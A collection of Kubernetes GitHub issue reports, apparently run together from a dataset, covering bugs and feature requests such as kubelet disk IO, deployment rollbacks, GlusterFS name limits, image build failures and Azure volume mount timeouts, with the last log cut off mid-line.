! screenshot_2017-06-22_14-20-03  https://user-images.githubusercontent.com/5624010/27456975-d3d1fbee-5757-11e7-9766-1304e1022dfb.png \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubelet high io\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : 3.10.0-514.21.2.el7.x86_64\r -   install tools  : kops 1.5.3\r -   others  :\r \r \r   what happened  :\r during heavy load, the kubernetes worker nodes enter a state of high disk io and never exit that state, even after load completes.  this can/has happen to multiple worker nodes simultaneously and cause an outage.  kubelet appears to be the primary offender.  as the node never recovers from this high io state, debugging becomes difficult.  the node can only be accessed after rebooting.\r \r i believe this is related to the issue that is described starting with comments after this issue was closed: https://github.com/kubernetes/kubernetes/issues/23255  march 22 onward \r \r   what you expected to happen  :\r disk io to return to normal levels after load completes rather than permanently locking the node.\r \r   how to reproduce it    as minimally and precisely as possible :\r i use jmeter to create a high degree of requests to my app.\r \r   anything else we need to know  :\r when you're out of jam, bananas make a great substitute for a pbj  pbb?  sandwich.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the story is:\r i created a deployment and edit it to have a update, then i made a rollback action to revision \ 1\ , \r this moment the related rs has a revision of \ 3\  and a history revison \ 1\ \r \r     _deployment.kubernetes.io/revision: \ 3\ \r     deployment.kubernetes.io/revision-history: \ 1\ _\r then i repeated the update and rollback step, expecting the deployment to rollback to the origin revision revison \ 1\  ，however， the rollback did not take effect. and i got information as below in controller log:\r \r _\ unable to find the revision to rollback to.\ _\r \r by tracking the code, i found that when looking for rs to rollback, controller just consider the revision in revisionannotation in rs ，so it did not find target revision in rs , which is in historyrevisionannotation in fact.\r \r   what you expected to happen  :\r history revision in rs should be taken into consideration when looking for rs to rollback\r \r   anything else we need to know?  :\r i‘ll have a fix for the issue

background  \r as part of ga goal of core controllers, unit, integration, e2e, cmd, and upgrade tests of replicaset have to be revamped based on test plan guidelines suggested by @enisoc. this issue lists all necessary tasks for integration tests, including conversion of some unit and e2e tests to the integration tests. tasks for other types of tests are covered by  52118.\r \r   integration test  \r -  x  shorten poll interval  currently 10s - can be 100ms  and use  pollimmediate    instead of  poll   . check if other integration tests have the same problem.\r -  x  add  testreplicasetbasic  with subtests that replace basic behavior unit tests like creating pods, reacting to events, orphan/adopt, etc.\r \r   end-to-end test  \r -     convert  testreplicasetconditioncheck  to an integration test  have to be changed after adding rs conditions .

please see recent runs:\r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-kubeadm-gce\r \r    \r w1008 13:54:33.559  2017/10/08 13:54:33 util.go:154: running: make -c /workspace/kubernetes-anywhere kubeconfig-path\r i1008 13:54:33.659  make: entering directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.759  util/config_to_json /workspace/kubernetes-anywhere/.config > /workspace/kubernetes-anywhere/.config.json\r i1008 13:54:33.771  makefile:43: recipe for target '/workspace/kubernetes-anywhere/.config.json' failed\r i1008 13:54:33.771  make: leaving directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.816  make: entering directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.822  make do what=deploy-cluster\r i1008 13:54:33.826  make 1 : entering directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.833    cd \ phase1/\ ; ./do deploy-cluster  \r i1008 13:54:33.839  makefile:77: recipe for target 'do' failed\r i1008 13:54:33.839  make 1 : leaving directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.839  makefile:49: recipe for target 'deploy-cluster' failed\r i1008 13:54:33.839  make: leaving directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.867  make: entering directory '/workspace/kubernetes-anywhere'\r i1008 13:54:33.882  makefile:57: recipe for target 'kubeconfig-path' failed\r i1008 13:54:33.882  make: leaving directory '/workspace/kubernetes-anywhere'\r w1008 13:54:33.983  util/config_to_json: line 35: jq: command not found\r w1008 13:54:33.983  make:      /workspace/kubernetes-anywhere/.config.json  error 127\r w1008 13:54:33.983  2017/10/08 13:54:33 util.go:156: step 'make -c /workspace/kubernetes-anywhere kubeconfig-path' finished in 256.10281ms\r w1008 13:54:33.983  2017/10/08 13:54:33 util.go:154: running: make -c /workspace/kubernetes-anywhere wait_for_kubeconfig=y deploy\r w1008 13:54:33.983  + cd .\r w1008 13:54:33.984  + config_file=/workspace/kubernetes-anywhere/.config.json\r w1008 13:54:33.984  ++ jq -r .phase1.cloud_provider /workspace/kubernetes-anywhere/.config.json\r w1008 13:54:33.984  ./do: line 11: jq: command not found\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r if the pvc is longer than 45 chars, then glusterfs will always failed to create pvc.\r \r the reason is that glusterfs need to create an  endpointname  in form of  glusterfs-dynamic-<claimname>  and the length limit is 63, so the length limit for  claimname  is 45.\r \r but i think that this is not reasonable, as we already have some hash methods to make sure the length of some endpoints do not exceed 63 chars, but for here, as we are adding  glusterfs-dynamic-  as prefix, so there should be some logic to hash the endpoint name again to make sure it does not exceeds 63 chars.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/glusterfs/glusterfs.go l771-l775\r \r    \r  name:       default-mq-stocktrader-m-default-mq-stocktrader-m-0\r namespace:  default\r storageclass:   standard\r status:     pending\r volume:\r labels:     qm_identifier=default-mq-stocktrader\r         app=default-mq-stocktrader-m\r annotations:    volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/glusterfs\r capacity:\r access modes:\r events:\r   firstseen lastseen    count   from                subobjectpath   type        reason          message\r   --------- --------    -----   ----                -------------   --------    ------          -------\r   1h        16m     218 persistentvolume-controller         warning     provisioningfailed  failed to provision volume with storageclass \ standard\ : glusterfs: create volume err: error creating volume error calling v.allocbricksincluster: database is in read-only mode\r   16m       15m     3   persistentvolume-controller         warning     provisioningfailed  failed to provision volume with storageclass \ standard\ : glusterfs: create volume err: error creating volume post http://9.37.142.219:30548/volumes: dial tcp 9.37.142.219:30548: getsockopt: connection refused\r   15m       4s      63  persistentvolume-controller         warning     provisioningfailed  failed to provision volume with storageclass \ standard\ : glusterfs: create volume err: failed to create endpoint/service error creating service: service \ glusterfs-dynamic-default-mq-stocktrader-m-default-mq-stocktrader-m-0\  is invalid: metadata.name: invalid value: \ glusterfs-dynamic-default-mq-stocktrader-m-default-mq-stocktrader-m-0\ : must be no more than 63 characters\r    \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r logs when container is gone, should only log when we return an error\r

 \r   what happened  :\r when trying to build the debian-base  image https://github.com/kubernetes/kubernetes/blob/master/build/debian-base/dockerfile.build\r i got this error\r    \r processing triggers for libc-bin  2.24-11+deb9u1  ...\r  reading database ... 3967 files and directories currently installed. \r purging configuration files for bash  4.4-5  ...\r purging configuration files for bash-completion  1:2.1-4.3  ...\r dpkg  subprocess : unable to execute installed post-removal script  /var/lib/dpkg/info/bash-completion.postrm : no such file or directory\r dpkg: error processing package bash-completion  --purge :\r  subprocess installed post-removal script returned error exit status 2\r purging configuration files for e2fsprogs  1.43.4-2  ...\r purging configuration files for ncurses-base  6.0+20161126-1+deb9u1  ...\r purging configuration files for util-linux  2.29.2-1  ...\r errors were encountered while processing:\r  bash-completion\r e: sub-process /usr/bin/dpkg returned an error code  1 \r the command '/bin/sh -c echo \ yes, do as i say!\  | apt-get purge     bash     debconf-i18n     e2fslibs     e2fsprogs     init     initscripts     libcap2-bin     libkmod2     libmount1     libsmartcols1     libudev1     libblkid1     libncursesw5     libprocps6     libslang2     libss2     libtext-charwidth-perl libtext-iconv-perl libtext-wrapi18n-perl     ncurses-base     ncurses-bin     systemd     systemd-sysv     sysv-rc     tzdata' returned a non-zero code: 100\r \r    \r \r   what you expected to happen  :\r build is successful\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r try to build https://github.com/kubernetes/kubernetes/blob/master/build/debian-base/dockerfile.build\r \r   anything else we need to know?  :\r the reason is that bash is no longer present in gcr.io/google-containers/debian-base-amd64:0.3\r

 \r  gcloud container clusters get-credentials _clustername_ --namespace=_namespacename_ --name=_contextname_  should write the context to  kubeconfig  instead of having to manually edit the kubeconfig file in order to create a context tied with a particular namespace.\r

 \r   what happened  :\r attempted to inject pod uid as environment variable into one of the containers in my pod. i see the following in the  env  section of the container inside the running pod  viewing in k8s dashboard  \r \r    json\r          {\r             \ name\ : \ pod_id\ ,\r             \ valuefrom\ : {\r               \ fieldref\ : {\r                 \ apiversion\ : \ v1\ ,\r                 \ fieldpath\ : \ metadata.uid\ \r               }\r             }\r           }\r    \r but the environment variable is empty  this is the output of  kubectl describe pod :\r   \r   pod_id:                   v1:metadata.uid \r \r   what you expected to happen  :\r the pod_id variable should be set to the pod uid\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment that deploys 1 instance of a container with an environment variable set as above\r 2. check the value of the pod_id environment variable in the deployed container\r \r   anything else we need to know?  :\r the pod uid is visible using  kubectl get pod pod-name -o yaml \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t22:27:55z\ , goversion:\ go1.9.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: azure/aks\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r    /milestone v1.12\r \r   description:  \r this is the issue that is used to upgrade volumesubpathenvexpansion to beta.\r \r   update flags in kube_features.go to beta\r   remove e2e alpha references\r   update docs at website\r   update release notes\r \r /assign @kevtaylor\r /cc @msau42 \r \r related issues:\r alpha pr implementation:   49388 \r env var expansion guidelines:   64045 \r feature request:  https://github.com/kubernetes/features/issues/559

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r kind feature\r \r \r   what happened  :\r \r i am using burstable services with values like these:\r \r    yml\r resources:\r     requests:\r         cpu: 100m\r         memory: 200mi\r     limits:\r         cpu: 1000m\r         memory: 500mi\r    \r \r i'd like to use a horizontal pod autoscaler with percentaged cpu target values based on the resoruce   limits   rather than resource requests.

problem\r the name service doesn’t really describe what a k8s service does or is and frequently causes naming conflicts in higher level abstractions. \r \r    proposal\r rename or replace the service resource with a similar resource named reverseproxy. \r \r    reasoning\r reverseproxy better describes the current functionality and intent behind the service resource and is more consistent with existing infrastructure terminology, which will make it easier to learn/teach/communicate. creating a new resource will also allow re-thinking the abstraction to make it more flexible  e.g. make kubeproxy just one of several optional backend/controller types. \r \r the reason i propose replacement over just renaming is to aid rollout of a new resource type without immediately breaking reverse compatibility. reverseproxy can be added to replace service the same way replicaset replaced replicationcontroller. \r \r    alternatives considered\r services are currently being used to configure l4 & l7 load balancers  a type of reverse proxy  both internal and external to k8s. but a reverse proxy in front of a single pod isn’t balancing load, it’s just acting as a static ingress ip for a pod that may be replaced over time. so   loadbalancer   is too specific a name. \r \r the reason not to call it a   staticip   is because in most iaas, the static ips can be reserved and attached/detached to only a single resource  e.g. a vm , not a set of resources. usually a static ip would be attached to a load balancer or reverse proxy which would itself handle the fan out.\r \r /cc @kubernetes/sig-architecture-proposals

there is now a   windowsonly   test tag from https://github.com/kubernetes/kubernetes/pull/72777\r \r i remember a   linuxonly   tag being approved in sig architecture and sig testing, but i don't remember a   windowsonly   tag. \r \r if this was approved i think we need to broadcast it more widely as many existing test setups including  current conformance testing appear to now need to skip / exclude this tag.\r \r cc @timothysc  @spiffxp @dims \r \r /area conformance\r  

@andyzhangx \r \r   what happened  :\r we  observe that mounting a persistent volume claim times out for volumes of 1tb or larger\r \r   what you expected to happen  :\r that the volume mounts immediately or atleast within the timeout window\r \r   how to reproduce it  as minimally and precisely as possible   :\r create new stateful set and pv with 1tb\r \r   anything else we need to know?  :\r tried it with different instance types to no avail\r \r   environment  :\r kubernetes v1.12.4\r azure region: west europe\r \r  name:               graphite-0\r namespace:          metrics\r priority:           0\r priorityclassname:  <none>\r node:               vmss-vm92409000000/10.240.6.80\r start time:         wed, 20 mar 2019 18:06:23 +0000\r labels:             controller-revision-hash=graphite-5fb5c75765\r                     statefulset.kubernetes.io/pod-name=graphite-0\r                     workload.user.cattle.io/workloadselector=statefulset-prometheus-graphite\r annotations:        cattle.io/timestamp=2019-03-20t17:30:49z\r                     field.cattle.io/ports=  {\ containerport\ :8080,\ dnsname\ :\ graphite-nodeport\ ,\ kind\ :\ nodeport\ ,\ name\ :\ 80tcp801\ ,\ protocol\ :\ tcp\ ,\ sourceport\ :80},{\ containerport\ :2003,\ dnsname\ :\ graphite-nodeport\ ,\ k...\r status:             pending\r ip:                 \r controlled by:      statefulset/graphite\r containers:\r   graphite:\r     container id:   \r     image:          graphiteapp/graphite-statsd:1.1.5-10\r     image id:       \r     ports:          8080/tcp, 2003/tcp, 2023/tcp\r     host ports:     0/tcp, 0/tcp, 0/tcp\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     limits:\r       memory:  500mi\r     requests:\r       memory:     500mi\r     environment:  <none>\r     mounts:\r       /opt/graphite/conf/ from graphite-config  rw \r       /opt/graphite/storage/whisper from graphite-data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-rrp2l  ro \r conditions:\r   type              status\r   initialized       true \r   ready             false \r   containersready   false \r   podscheduled      true \r volumes:\r   graphite-config:\r     type:      configmap  a volume populated by a configmap \r     name:      graphite-server-conf\r     optional:  false\r   graphite-data:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  graphite-data\r     readonly:   false\r   default-token-rrp2l:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-rrp2l\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     large\r                  node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason              age                 from                         message\r   ----     ------              ----                ----                         -------\r   warning  failedattachvolume  4m  x515 over 18h   attachdetach-controller      attachvolume.attach failed for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\  : attach volume \ k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\  to instance \ /subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/virtualmachinescalesets/sig-0901eba7_standard_f8s_v2_low/virtualmachines/0\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ operationnotallowed\  message=\ \ \r   warning  failedmount         3m  x474 over 17h   kubelet, vmss-vm92409000000  unable to mount volumes for pod \ graphite-0_metrics f02668ea-4b38-11e9-8700-000d3a450542 \ : timeout expired waiting for volumes to attach or mount for pod \ metrics\ /\ graphite-0\ . list of unmounted volumes= graphite-data . list of unattached volumes= graphite-config graphite-data default-token-rrp2l  \r \r - cloud provider aks\r \r kubelet logs\r \r  i0320 10:33:00.772129    3260 kubelet.go:1883  syncloop  add, \ api\  : \ graphite-0_metrics 2dcb2656-4afb-11e9-8700-000d3a450542 \ \r i0320 10:33:00.924599    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:00.924655    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-rrp2l\   uniquename: \ kubernetes.io/secret/2dcb2656-4afb-11e9-8700-000d3a450542-default-token-rrp2l\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:00.924680    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ graphite-config\   uniquename: \ kubernetes.io/configmap/2dcb2656-4afb-11e9-8700-000d3a450542-graphite-config\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:00.924785    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:01.4247423 +0000 utc m=+32738.178114201  durationbeforeretry 500ms . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r i0320 10:33:01.025091    3260 reconciler.go:252  operationexecutor.mountvolume started for volume \ default-token-rrp2l\   uniquename: \ kubernetes.io/secret/2dcb2656-4afb-11e9-8700-000d3a450542-default-token-rrp2l\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:01.025150    3260 reconciler.go:252  operationexecutor.mountvolume started for volume \ graphite-config\   uniquename: \ kubernetes.io/configmap/2dcb2656-4afb-11e9-8700-000d3a450542-graphite-config\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:01.025891    3260 operation_generator.go:568  mountvolume.setup succeeded for volume \ graphite-config\   uniquename: \ kubernetes.io/configmap/2dcb2656-4afb-11e9-8700-000d3a450542-graphite-config\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:01.035414    3260 operation_generator.go:568  mountvolume.setup succeeded for volume \ default-token-rrp2l\   uniquename: \ kubernetes.io/secret/2dcb2656-4afb-11e9-8700-000d3a450542-default-token-rrp2l\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r i0320 10:33:01.426606    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:01.426731    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:02.4266917 +0000 utc m=+32739.180063501  durationbeforeretry 1s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:33:02.420594    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r i0320 10:33:02.429843    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:02.429939    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:04.4299013 +0000 utc m=+32741.183273101  durationbeforeretry 2s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r i0320 10:33:04.436035    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:04.439748    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:08.439709 +0000 utc m=+32745.193080801  durationbeforeretry 4s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r i0320 10:33:08.448440    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:08.451579    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:16.4515383 +0000 utc m=+32753.204910101  durationbeforeretry 8s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:33:12.452878    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r i0320 10:33:16.475975    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:16.479669    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:33:32.4796277 +0000 utc m=+32769.232999601  durationbeforeretry 16s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   pod \\\ graphite-0\\\   uid: \\\ 2dcb2656-4afb-11e9-8700-000d3a450542\\\   \ \r e0320 10:33:22.480255    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r e0320 10:33:32.504488    3260 azure_dd.go:165  failed to list vm sizes in getvolumelimits, plugin.host: vmss-vm13309000174, location: westeurope\r i0320 10:33:32.523123    3260 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   uniquename: \ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\   pod \ graphite-0\   uid: \ 2dcb2656-4afb-11e9-8700-000d3a450542\  \r e0320 10:33:32.526347    3260 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/a71140a1-1719-4ca9-8800-b03e4bb64914/resourcegroups/k8s-cluster-production/providers/microsoft.compute/disks/k8s-cluster-production-dynamic-pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\ \  failed. no retries permitted until 2019-03-20 10:34:04.5263106 +0000 utc m=+32801.279682401  durationbeforeretry 32s . error: \ volume not attached according to node status for volume \\\ pvc-25ba6630-3b6e-11e9-8700-000d3a450542\\\   uniquename: \\\ 